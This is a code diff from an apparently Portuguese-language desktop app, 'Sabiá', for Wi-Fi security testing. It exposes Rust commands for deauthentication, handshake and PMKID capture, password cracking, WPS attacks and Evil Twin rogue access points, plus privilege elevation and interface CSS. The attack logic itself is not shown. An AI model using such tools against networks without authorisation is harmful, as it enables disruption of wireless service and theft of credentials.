#[tauri::command]
fn start_evil_twin_enterprise(
state: tauri::State<'_, State>,
iface: String,
ap_iface: String,
bssid: String,
) -> Result<String, String> {
state
.0
.start_evil_twin_enterprise(&iface, &ap_iface, &bssid)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn eviltwin_enterprise_job(
state: tauri::State<'_, State>,
id: String,
) -> Result<serde_json::Value, String> {
match state.0.enterprise_twin_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job de Evil Twin Enterprise não encontrado".into()),
}
}
#[tauri::command]
fn eviltwin_enterprise_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.enterprise_twin_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_evil_twin_enterprise(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state
.0
.stop_evil_twin_enterprise(&id)
.map_err(|e| e.to_string())
}
#[tauri::command]
#[allow(clippy::too_many_arguments)]
fn start_scan_opts(
state: tauri::State<'_, State>,
iface: String,
channel: Option<u32>,
band: Option<String>,
hop_ms: Option<u64>,
pcap_out: Option<String>,
seconds: Option<u64>,
) -> Result<(), String> {
let options = ScanOptions {
channel,
band,
hop_ms: hop_ms.unwrap_or(350),
pcap_out: pcap_out.map(Into::into),
duration_secs: seconds,
};
state
.0
.start_scan_with(&iface, options)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn update_check(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
let status = state.0.update_check().map_err(|e| e.to_string())?;
@@ -85,7 +543,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
let exe = elevated_exe()?;
let log = std::env::temp_dir().join(format!("sabia-elevate-{}.log", std::process::id()));
let _ = std::fs::write(&log, b"");
let out = std::fs::OpenOptions::new().append(true).open(&log).map_err(|e| e.to_string())?;
let out = std::fs::OpenOptions::new()
.append(true)
.open(&log)
.map_err(|e| e.to_string())?;
let err = out.try_clone().map_err(|e| e.to_string())?;
let pid = std::process::id().to_string();
@@ -93,7 +554,14 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
let mut cmd = {
let mut c = std::process::Command::new("pkexec");
c.arg("/usr/bin/env");
for k in ["DISPLAY", "WAYLAND_DISPLAY", "XAUTHORITY", "XDG_RUNTIME_DIR", "DBUS_SESSION_BUS_ADDRESS", "GDK_BACKEND"] {
for k in [
"DISPLAY",
"WAYLAND_DISPLAY",
"XAUTHORITY",
"XDG_RUNTIME_DIR",
"DBUS_SESSION_BUS_ADDRESS",
"GDK_BACKEND",
] {
if let Ok(v) = std::env::var(k) {
c.arg(format!("{k}={v}"));
}
@@ -104,14 +572,23 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
};
#[cfg(target_os = "macos")]
let mut cmd = {
let shell = format!("SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &", pid, exe.display());
let script = format!("do shell script \"{}\" with administrator privileges", shell.replace('\\', "\\\\").replace('"', "\\\""));
let shell = format!(
"SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &",
pid,
exe.display()
);
let script = format!(
"do shell script \"{}\" with administrator privileges",
shell.replace('\\', "\\\\").replace('"', "\\\"")
);
let mut c = std::process::Command::new("osascript");
c.args(["-e", &script]);
c
};
cmd.stdout(out).stderr(err);
let mut child = cmd.spawn().map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
let mut child = cmd
.spawn()
.map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
std::thread::spawn(move || {
let status = child.wait();
if matches!(&status, Ok(s) if s.success()) {
@@ -122,7 +599,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
let msg = match status.ok().and_then(|s| s.code()) {
Some(126) => "Autorização cancelada.".to_string(),
Some(127) => "Não foi possível autenticar como administrador.".to_string(),
_ => format!("Não foi possível reiniciar como administrador. {}", detail.lines().last().unwrap_or("").trim()),
_ => format!(
"Não foi possível reiniciar como administrador. {}",
detail.lines().last().unwrap_or("").trim()
),
};
let _ = app.emit("elevate-failed", msg);
let _ = std::fs::remove_file(&log);
@@ -135,7 +615,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
/// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`).
#[cfg(any(target_os = "linux", target_os = "macos"))]
fn elevated_exe() -> Result<std::path::PathBuf, String> {
if let Some(p) = std::env::var_os("APPIMAGE").map(std::path::PathBuf::from).filter(|p| p.is_file()) {
if let Some(p) = std::env::var_os("APPIMAGE")
.map(std::path::PathBuf::from)
.filter(|p| p.is_file())
{
return Ok(p);
}
std::env::current_exe().map_err(|e| e.to_string())
@@ -148,7 +631,10 @@ fn main() {
.setup(|app| {
// Quando abrimos elevados a pedido do app normal, ele fecha o app antigo.
#[cfg(unix)]
if let Some(pid) = std::env::var("SABIA_REPLACE_PID").ok().and_then(|p| p.parse::<i32>().ok()) {
if let Some(pid) = std::env::var("SABIA_REPLACE_PID")
.ok()
.and_then(|p| p.parse::<i32>().ok())
{
std::thread::spawn(move || {
std::thread::sleep(std::time::Duration::from_millis(1200));
// SAFETY: só envia SIGTERM ao processo anterior do próprio usuário.
@@ -180,6 +666,42 @@ fn main() {
start_scan,
stop_scan,
scan_results,
scan_snapshot,
scan_clients,
handshakes,
export_handshake,
export_all_handshakes,
start_crack,
start_crack_mask,
crack_job,
crack_jobs,
deauth,
deauth_directional,
start_deauth_job,
stop_deauth_job,
deauth_job,
deauth_jobs,
capture_handshake,
report,
report_html,
export_hc22000,
export_all_hc22000,
pmkid_hunt,
pmf_test,
wps_tools,
start_wps,
wps_job,
wps_jobs,
stop_wps,
start_evil_twin,
eviltwin_job,
eviltwin_jobs,
stop_evil_twin,
start_evil_twin_enterprise,
eviltwin_enterprise_job,
eviltwin_enterprise_jobs,
stop_evil_twin_enterprise,
start_scan_opts,
update_check,
update_apply,
is_elevated,
+3 -3
View File
@@ -1,7 +1,7 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "Sabia",
"version": "0.1.0",
"productName": "Sabiá",
"version": "1.0.3",
"identifier": "dev.sabia.app",
"build": {
"frontendDist": "../ui"
@@ -19,7 +19,7 @@
}
],
"security": {
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'none'; object-src 'none'"
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'self' data: blob:; object-src 'none'"
}
},
"bundle": {
+285 -13
View File
@@ -68,6 +68,7 @@
:root[data-theme="dark"] { color-scheme: dark; }
* { box-sizing: border-box; }
[hidden] { display: none !important; }
html, body { height: 100%; }
body {
margin: 0; background: var(--bg); color: var(--text);
@@ -104,17 +105,27 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
padding: 9px 10px; border-radius: 12px; transition: background .15s;
}
.dev:hover { background: color-mix(in srgb, var(--text) 6%, transparent); }
.dev[aria-current="true"] { background: var(--accent-soft); }
.dev[aria-current="true"], .dev[aria-pressed="true"] { background: var(--accent-soft); }
.dev .ico { width: 34px; height: 34px; border-radius: 9px; display: grid; place-items: center; background: var(--surface); box-shadow: 0 0 0 1px var(--line); color: var(--text-2); }
.dev[aria-current="true"] .ico { color: var(--accent); }
.dev[aria-current="true"] .ico, .dev[aria-pressed="true"] .ico { color: var(--accent); }
.dev .t { display: block; font-weight: 600; font-size: 14px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.dev .s { display: block; font-size: 11.5px; color: var(--text-2); font-family: var(--mono); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.side-foot { margin-top: auto; padding: 14px 10px 4px; font-size: 11.5px; color: var(--text-3); display: flex; justify-content: space-between; gap: 8px; }
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; text-decoration: underline; text-underline-offset: 2px; }
.iface-pick { display: flex; flex-direction: column; align-items: stretch; gap: 8px; padding: 0 10px 4px; }
.iface-pick .select { width: 100%; min-width: 0; }
.iface-pick .pill { align-self: flex-start; }
.side-foot { margin-top: auto; padding: 14px 4px 4px; font-size: 11.5px; color: var(--text-3); display: grid; gap: 8px; }
.foot-row { display: flex; align-items: center; justify-content: space-between; gap: 8px; }
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; }
.side-foot .foot-row > button:not(.icon-btn) { text-decoration: underline; text-underline-offset: 2px; }
.side-foot button:hover { color: var(--text-2); }
.lang-sel { background: transparent; border: 0; color: var(--text-3); font-size: 11.5px; cursor: pointer; }
.lang-sel:hover { color: var(--text-2); }
.icon-btn { width: 30px; height: 30px; border-radius: 9px; display: inline-grid; place-items: center; padding: 0; }
.icon-btn:hover { background: color-mix(in srgb, var(--text) 8%, transparent); }
.theme-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); }
.theme-switch button { border: 0; background: transparent; cursor: pointer; padding: 4px 9px; border-radius: 999px; font-size: 11.5px; color: var(--text-2); }
.theme-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .18); font-weight: 600; }
.main { overflow-y: auto; min-width: 0; }
.page { max-width: 1040px; margin: 0 auto; padding: 30px 36px 100px; animation: rise .35s cubic-bezier(.2, .8, .2, 1); }
@@ -133,6 +144,9 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
/* ------------------------------------------------------------ aviso */
.notice { display: flex; gap: 10px; background: var(--surface); border-radius: 12px; padding: 12px 14px; box-shadow: var(--shadow); font-size: 13px; color: var(--text-2); margin-bottom: 20px; align-items: flex-start; }
.notice svg { flex: none; margin-top: 2px; color: var(--warn); }
.notice.warn { background: var(--warn-soft); } .notice.warn svg { color: var(--warn); }
.notice.bad { background: var(--bad-soft); } .notice.bad svg { color: var(--bad); }
.notice b { color: var(--text); }
/* ------------------------------------------------------------ controles */
.controls { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); padding: 16px 18px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 22px; }
@@ -153,23 +167,57 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
.btn.live:hover { filter: brightness(1.06); }
/* ------------------------------------------------------------ tabela */
.result-head { display: flex; align-items: baseline; justify-content: space-between; margin: 4px 2px 10px; }
.result-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin: 4px 2px 10px; }
.result-summary { display: flex; align-items: baseline; gap: 10px; min-width: 0; }
.result-head strong { font-size: 15px; }
.result-head span { color: var(--text-3); font-size: 12.5px; }
.result-summary span { color: var(--text-3); font-size: 12.5px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.result-tools { display: flex; align-items: center; gap: 8px; }
.result-tools .filter { border: 0; border-radius: 10px; padding: 7px 12px; width: 210px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
.result-tools .filter::placeholder { color: var(--text-3); }
.result-tools .select { width: auto; padding: 7px 10px; border-radius: 10px; font-size: 12.5px; }
.ap-card { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); overflow: hidden; }
.net-card { overflow-x: auto; }
table { width: 100%; border-collapse: collapse; }
thead th { text-align: left; padding: 11px 14px; font-size: 10.5px; color: var(--text-3); text-transform: uppercase; letter-spacing: .06em; font-weight: 600; border-bottom: 1px solid var(--line); }
tbody td { padding: 10px 14px; font-size: 13px; border-bottom: 1px solid var(--line); vertical-align: middle; }
tbody tr:last-child td { border-bottom: 0; }
tbody tr:hover { background: var(--surface-2); }
td.bssid { font-family: var(--mono); font-size: 12px; color: var(--text-2); }
td.ssid { font-weight: 600; }
td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.sec-tag { font-size: 11.5px; font-weight: 600; padding: 2px 8px; border-radius: 999px; }
.sec-aberta { background: var(--bad-soft); color: var(--bad); }
.sec-wep { background: var(--warn-soft); color: var(--warn); }
.sec-wpa, .sec-wpa2, .sec-wpa3 { background: var(--ok-soft); color: var(--ok); }
/* rede agrupada por ESSID; cada BSSID vira uma linha expansível */
.caret-cell { width: 34px; padding-left: 10px; padding-right: 0; }
.expander { width: 26px; height: 26px; border: 0; border-radius: 8px; background: transparent; color: var(--text-3); cursor: pointer; display: inline-grid; place-items: center; padding: 0; }
.expander:hover { background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text); }
.expander svg { transition: transform .18s; }
.net-row.open .expander svg { transform: rotate(90deg); }
.net-row.open > td { background: color-mix(in srgb, var(--text) 3%, transparent); }
.net-name .ssid { display: block; font-weight: 600; line-height: 1.25; }
.net-name .ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.net-sub { display: flex; flex-wrap: wrap; gap: 4px; margin-top: 3px; }
.flag { font-size: 10px; font-weight: 700; letter-spacing: .03em; padding: 1px 6px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text-2); white-space: nowrap; }
.flag-warn { background: var(--warn-soft); color: var(--warn); }
.net-sec .sec-tag + .sec-tag { margin-left: 4px; }
.net-chan .chans { font-variant-numeric: tabular-nums; font-weight: 600; }
.net-band { display: block; font-size: 10.5px; color: var(--text-3); }
.net-signal, .net-clients { white-space: nowrap; font-variant-numeric: tabular-nums; }
.net-clients { color: var(--text-2); }
.detail-row td { padding: 4px 14px 10px 46px; background: var(--surface-2); }
.detail-row:hover { background: transparent; }
.bssid-list { display: grid; gap: 1px; }
.bssid-item { display: grid; grid-template-columns: minmax(150px, 1.4fr) 132px 112px minmax(92px, .8fr) 84px 1fr; gap: 10px; align-items: center; padding: 6px 8px; border-radius: 8px; font-size: 12.5px; }
.bssid-item:hover { background: color-mix(in srgb, var(--text) 4%, transparent); }
.bssid { color: var(--text-2); font-size: 11.5px; }
.bssid-meta, .bssid-clients { color: var(--text-3); font-size: 12px; }
.bssid-flags { display: flex; gap: 4px; justify-content: flex-end; flex-wrap: wrap; }
.sec-tag { font-size: 11px; font-weight: 600; padding: 2px 8px; border-radius: 999px; white-space: nowrap; }
.sec-open { background: var(--bad-soft); color: var(--bad); }
.sec-wep, .sec-wpa { background: var(--warn-soft); color: var(--warn); }
.sec-wpa2, .sec-wpa3, .sec-owe { background: var(--ok-soft); color: var(--ok); }
.sec-eap { background: var(--signal-soft); color: var(--signal); }
.signal-bars { display: inline-flex; align-items: flex-end; gap: 1.5px; height: 14px; vertical-align: middle; margin-right: 6px; }
.signal-bars i { width: 3px; background: var(--line); border-radius: 1px; display: block; }
.signal-bars i.on { background: var(--signal); }
@@ -179,6 +227,115 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.empty-state h2 { font-size: 17px; color: var(--text); margin-bottom: 6px; }
.empty-state p { font-size: 13.5px; max-width: 360px; margin: 0 auto; }
/* ------------------------------------------------------------ configurações */
dialog { border: 0; border-radius: 20px; padding: 24px; width: min(420px, calc(100vw - 32px)); background: var(--surface); color: var(--text); box-shadow: 0 30px 80px rgba(0, 0, 0, .35); }
dialog::backdrop { background: rgba(0, 0, 0, .35); backdrop-filter: blur(6px); }
dialog h2 { font-size: 20px; margin-bottom: 16px; }
dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; margin: 22px 0 0; }
.field { display: grid; gap: 6px; margin: 12px 0; }
.field-label { font-size: 12px; color: var(--text-2); font-weight: 600; }
.select { width: 100%; border: 0; border-radius: 12px; padding: 9px 14px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; cursor: pointer; }
.select option { background-color: var(--surface); color: var(--text); }
/* ------------------------------------------------------------ detalhes do alvo */
.ssid-btn { display: block; border: 0; padding: 0; background: transparent; color: inherit; font: inherit; font-weight: 600; text-align: left; cursor: pointer; line-height: 1.25; }
.ssid-btn:hover { color: var(--accent); text-decoration: underline; text-underline-offset: 3px; }
.bssid-item { cursor: pointer; }
.bssid-item:focus-visible { outline: 2px solid var(--signal); outline-offset: -2px; }
.target-dlg { width: min(980px, calc(100vw - 32px)); max-height: min(90vh, 900px); padding: 0; overflow: hidden; display: flex; flex-direction: column; }
.target-dlg:not([open]) { display: none; }
.target-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 16px; padding: 22px 24px 12px; }
.target-head h2 { font-size: 22px; line-height: 1.2; }
.target-sub { display: flex; flex-wrap: wrap; align-items: center; gap: 5px 8px; color: var(--text-2); font-size: 12.5px; margin-top: 5px; }
.target-sub .mono { color: var(--text-2); font-size: 12px; }
.target-sub .sec-tag { margin-left: 2px; }
.dot-sep { color: var(--text-3); }
.bssid-select { width: auto; max-width: 320px; padding: 4px 8px; border-radius: 8px; font-size: 11.5px; }
.tabs { display: flex; gap: 2px; padding: 0 20px; border-bottom: 1px solid var(--line); }
.tabs button { border: 0; background: transparent; color: var(--text-2); padding: 9px 12px 11px; font-size: 13px; font-weight: 600; cursor: pointer; border-bottom: 2px solid transparent; margin-bottom: -1px; }
.tabs button:hover { color: var(--text); }
.tabs button[aria-selected="true"] { color: var(--text); border-bottom-color: var(--accent); }
.tab-count { display: inline-block; min-width: 18px; padding: 0 5px; margin-left: 3px; border-radius: 999px; background: color-mix(in srgb, var(--text) 9%, transparent); color: var(--text-2); font-size: 10.5px; line-height: 17px; text-align: center; }
.tab-panel { padding: 18px 24px 26px; overflow-y: auto; min-height: 0; }
.detail-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 12px; }
.detail-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; }
.detail-card h3 { font-size: 12px; text-transform: uppercase; letter-spacing: .06em; color: var(--text-3); margin-bottom: 10px; }
.detail-wide { margin-top: 12px; }
.kv { display: grid; grid-template-columns: minmax(96px, auto) minmax(0, 1fr); gap: 6px 12px; margin: 0; font-size: 12.5px; }
.kv dt { color: var(--text-3); }
.kv dd { margin: 0; min-width: 0; overflow-wrap: anywhere; }
.detail-actions { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 12px; }
.btn.small { padding: 6px 12px; font-size: 12px; }
.risk { border-radius: 12px; padding: 10px 13px; font-size: 12.5px; margin-bottom: 12px; border: 1px solid transparent; }
.risk-bad { background: var(--bad-soft); color: var(--bad); }
.risk-warn { background: var(--warn-soft); color: var(--warn); }
.risk-info { background: var(--signal-soft); color: var(--signal); }
.risk strong { font-weight: 700; }
.flag-ok { background: var(--ok-soft); color: var(--ok); }
.flag-bad { background: var(--bad-soft); color: var(--bad); }
.clients-card { margin-top: 2px; overflow-x: auto; }
.mini-table { width: 100%; border-collapse: collapse; }
.mini-table .row-actions { text-align: right; white-space: nowrap; }
.mini-table th { padding: 9px 12px; font-size: 10.5px; text-transform: uppercase; letter-spacing: .05em; color: var(--text-3); text-align: left; border-bottom: 1px solid var(--line); }
.mini-table td { padding: 9px 12px; font-size: 12.5px; border-bottom: 1px solid var(--line); vertical-align: middle; }
.mini-table tr:last-child td { border-bottom: 0; }
.mini-table .nowrap { white-space: nowrap; font-variant-numeric: tabular-nums; }
.mini-table .probes { max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
.mini-table .device-cell { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
.clients-card .mini-table { table-layout: fixed; }
.clients-card .mini-table th:nth-child(1) { width: 20%; }
.clients-card .mini-table th:nth-child(2) { width: 18%; }
.clients-card .mini-table th:nth-child(3) { width: 12%; }
.clients-card .mini-table th:nth-child(4) { width: 7%; }
.clients-card .mini-table th:nth-child(5) { width: 10%; }
.clients-card .mini-table th:nth-child(6) { width: 12%; }
.clients-card .mini-table th:nth-child(7) { width: 21%; }
.clients-card .row-actions .btn { padding: 6px 10px; }
.clients-card .client-name, .clients-card .client-sub { max-width: 100%; }
.client-name { font-weight: 600; color: var(--text); max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.client-sub { color: var(--text-3); font-size: 10.5px; max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.empty-inline { text-align: center; padding: 46px 20px; color: var(--text-2); background: var(--surface-2); border-radius: 14px; }
.empty-inline strong { color: var(--text); display: block; margin-bottom: 4px; }
.empty-inline p { margin: 0; font-size: 13px; }
.auth-check { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; margin: 4px 0 14px; }
.auth-check input { width: 16px; height: 16px; accent-color: var(--accent); }
/* Colunas CSS em vez de grid: os cards de ataque têm alturas muito
diferentes entre si (Deauth/Handshake são enormes, PMF/WPS são curtos).
Num grid de 2 colunas comum, o par mais curto de uma linha deixava um
vão vazio enorme embaixo (a altura da linha é a do item mais alto, e
align-items:start não estica o curto pra preencher). Colunas fazem os
cards fluírem como alvenaria: cada um só ocupa a altura que precisa, o
próximo entra logo abaixo, sem buracos. */
.attack-grid { column-count: 2; column-gap: 12px; }
.attack-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; min-width: 0; break-inside: avoid; margin: 0 0 12px; display: inline-block; width: 100%; }
.attack-deauth, .attack-wide { column-span: all; }
.attack-deauth .field-row { grid-template-columns: repeat(2, minmax(0, 1fr)); }
.attack-deauth .detail-actions { align-items: center; }
.attack-card h3 { font-size: 14px; margin-bottom: 5px; }
.attack-card .hint { margin: 6px 0 10px; }
.attack-card .btn { margin-top: 2px; }
.field-row { display: grid; grid-template-columns: 1fr 1.4fr; gap: 10px; }
.field { display: grid; gap: 5px; margin: 9px 0; }
.field-label { font-size: 11.5px; color: var(--text-2); font-weight: 600; }
.input { width: 100%; border: 1px solid transparent; border-radius: 10px; padding: 8px 11px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
.input:focus { outline: 2px solid var(--signal); outline-offset: 1px; }
.hint { color: var(--text-3); font-size: 12px; margin: 0; line-height: 1.4; }
.hint.bad { color: var(--bad); }
.hint code { background: color-mix(in srgb, var(--text) 7%, transparent); padding: 1px 5px; border-radius: 5px; font-size: 11.5px; }
.hs-list { display: grid; gap: 6px; margin-bottom: 8px; }
.hs-item { display: flex; align-items: flex-start; justify-content: space-between; gap: 8px; background: var(--surface); border: 1px solid var(--line); border-radius: 10px; padding: 8px 10px; font-size: 12px; }
.hs-main { min-width: 0; display: grid; gap: 2px; }
.hs-meta { color: var(--text-3); font-size: 11px; }
.hs-flags { display: flex; flex-wrap: wrap; gap: 4px; justify-content: flex-end; }
.crack-box { margin-top: 10px; padding: 9px 11px; border-radius: 10px; background: var(--surface); border: 1px solid var(--line); font-size: 12px; display: flex; flex-wrap: wrap; align-items: center; gap: 7px; }
.crack-ok { border-color: color-mix(in srgb, var(--ok) 40%, transparent); }
.crack-box .mono { margin-right: 4px; }
.crack-head { display: flex; align-items: center; gap: 8px; width: 100%; color: var(--text-2); }
.crack-bar { width: 100%; height: 4px; border-radius: 999px; background: var(--line); overflow: hidden; }
.crack-bar i { display: block; width: 35%; height: 100%; border-radius: 999px; background: var(--accent); animation: crack-slide 1.1s ease-in-out infinite; }
@keyframes crack-slide { 0% { margin-left: -35%; } 100% { margin-left: 100%; } }
/* ------------------------------------------------------------ responsivo */
@media (max-width: 760px) {
.app { grid-template-columns: 1fr; grid-template-rows: auto 1fr; }
@@ -186,4 +343,119 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.brand { padding: 4px 10px; }
.side-title, .side-foot { display: none; }
.list { display: flex; }
.result-tools { width: 100%; }
.result-tools .filter { flex: 1; width: auto; }
.net-table { min-width: 560px; }
.bssid-item { grid-template-columns: 1fr auto; }
.bssid-meta, .bssid-sig, .bssid-flags { grid-column: 1 / -1; }
.bssid-flags { justify-content: flex-start; }
.target-dlg { width: calc(100vw - 16px); max-height: 94vh; }
.target-head { padding: 16px 16px 10px; }
.tabs { padding: 0 10px; overflow-x: auto; }
.tab-panel { padding: 14px 14px 20px; }
.detail-grid { grid-template-columns: 1fr; }
.attack-grid { column-count: 1; }
.field-row { grid-template-columns: 1fr; }
.detail-card, .attack-card { padding: 12px; }
}
/* --------------------------------------------------- análise de canais */
.top-actions { display: flex; align-items: center; gap: 10px; }
.view-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 7%, transparent); }
.view-switch button { border: 0; border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; color: var(--text-2); background: transparent; cursor: pointer; }
.view-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .12); }
.alert-strip { display: flex; align-items: center; flex-wrap: wrap; gap: 6px; margin: 0 2px 10px; }
.alert-item { display: inline-flex; align-items: center; gap: 6px; border: 1px solid var(--line); background: var(--surface); border-radius: 999px; padding: 5px 11px; font-size: 12px; cursor: pointer; }
.alert-dot { width: 7px; height: 7px; border-radius: 50%; background: var(--warn); }
.alert-high .alert-dot { background: var(--bad); }
.alert-low .alert-dot { background: var(--text-3); }
.alert-title { max-width: 340px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.alert-more { color: var(--text-3); font-size: 11.5px; padding: 0 4px; }
.channel-card { padding: 16px; }
.channel-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin-bottom: 8px; }
.band-switch { display: inline-flex; gap: 4px; }
.band-switch button { border: 1px solid transparent; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; cursor: pointer; }
.band-switch button[aria-pressed="true"] { background: var(--signal-soft); color: var(--signal); border-color: color-mix(in srgb, var(--signal) 35%, transparent); }
.sp-legend { display: flex; flex-wrap: wrap; gap: 10px; color: var(--text-3); font-size: 11px; }
.sp-legend span { display: inline-flex; align-items: center; gap: 5px; }
.sp-legend i { width: 9px; height: 9px; border-radius: 2px; display: inline-block; }
.spectrum { width: 100%; height: auto; display: block; background: color-mix(in srgb, var(--text) 3%, transparent); border-radius: 12px; }
.sp-grid { stroke: var(--line); stroke-width: 1; }
.sp-axis { stroke: color-mix(in srgb, var(--text) 22%, transparent); stroke-width: 1; }
.sp-db, .sp-chan { fill: var(--text-3); font-size: 9px; font-family: var(--mono); }
.sp-name { fill: var(--text-2); font-size: 9px; font-weight: 600; }
.sp-lobe path { transition: fill-opacity .15s; }
.sp-lobe:hover path { fill-opacity: .38; }
.channel-grid { display: grid; grid-template-columns: 190px 1fr; gap: 18px; margin-top: 14px; }
.channel-grid h3 { font-size: 12px; color: var(--text-2); margin-bottom: 8px; }
.chan-best-num { font-size: 44px; font-weight: 700; line-height: 1; color: var(--signal); margin: 0 0 6px; }
.chan-list { display: grid; gap: 6px; }
.chan-list h3 { margin: 0 0 2px; }
.chan-row { display: grid; grid-template-columns: 46px 1fr 48px 128px; align-items: center; gap: 8px; font-size: 12px; }
.chan-row .chan-n { font-weight: 600; display: inline-flex; align-items: center; gap: 4px; }
.chan-bar { height: 7px; border-radius: 999px; background: var(--line); overflow: hidden; }
.chan-bar i { display: block; height: 100%; border-radius: 999px; background: var(--ok); }
.chan-bar i.diff-mid { background: var(--warn); }
.chan-bar i.diff-high { background: var(--bad); }
.chan-score { font-family: var(--mono); font-size: 11px; color: var(--text-2); text-align: right; }
.chan-aps { color: var(--text-3); font-size: 11px; white-space: nowrap; }
.chan-best .chan-n, .chan-best .chan-aps { color: var(--signal); }
/* ------------------------------------------------- saúde do espectro (SMART) */
.chan-tiles { display: grid; grid-template-columns: repeat(auto-fill, minmax(132px, 1fr)); gap: 10px; margin: 2px 0 16px; }
.chan-tile { background: var(--surface-2); border-radius: 14px; padding: 12px 14px; display: flex; flex-direction: column; gap: 2px; box-shadow: 0 0 0 1px var(--line); }
.chan-tile small { color: var(--text-3); font-size: 12px; }
.chan-tile b { font-size: 18px; font-variant-numeric: tabular-nums; }
.chan-tile.status.ok { background: var(--ok-soft); } .chan-tile.status.ok b { color: var(--ok); }
.chan-tile.status.warn { background: var(--warn-soft); } .chan-tile.status.warn b { color: var(--warn); }
.chan-tile.status.bad { background: var(--bad-soft); } .chan-tile.status.bad b { color: var(--bad); }
.chan-tile b span { font-weight: 500; opacity: .8; font-size: 13px; margin-left: 4px; }
.chan-dot { display: inline-block; width: 9px; height: 9px; border-radius: 50%; background: var(--ok); margin-right: 5px; flex: none; }
.chan-dot.warn { background: var(--warn); }
.chan-dot.bad { background: var(--bad); }
.chan-attrs { margin-top: 4px; }
.chan-attrs summary { cursor: pointer; font-size: 12.5px; font-weight: 600; color: var(--text-2); padding: 6px 0; list-style: none; }
.chan-attrs summary::-webkit-details-marker { display: none; }
.chan-attrs summary::before { content: '▸ '; display: inline-block; width: 12px; }
.chan-attrs[open] summary::before { content: '▾ '; }
.chan-table .dim { color: var(--text-3); font-size: 11.5px; }
.chan-table tr.chan-best-row td { color: var(--signal); font-weight: 600; }
.mini-tag { font-size: 8.5px; padding: 1px 4px; border-radius: 4px; background: var(--warn-soft); color: var(--warn); }
/* ------------------------------------------------ clientes e linha do tempo */
.spark { display: inline-block; width: 62px; height: 16px; vertical-align: middle; margin-left: 6px; }
.spark path { fill: none; stroke: var(--signal); stroke-width: 1.4; }
.spark-big { display: block; width: 100%; height: 70px; margin: 10px 0 0; }
.timeline-card { margin-top: 12px; }
.timeline-head { display: flex; align-items: center; justify-content: space-between; gap: 10px; margin-bottom: 6px; }
.timeline { list-style: none; padding: 0; margin: 8px 0; display: grid; gap: 5px; max-height: 260px; overflow: auto; }
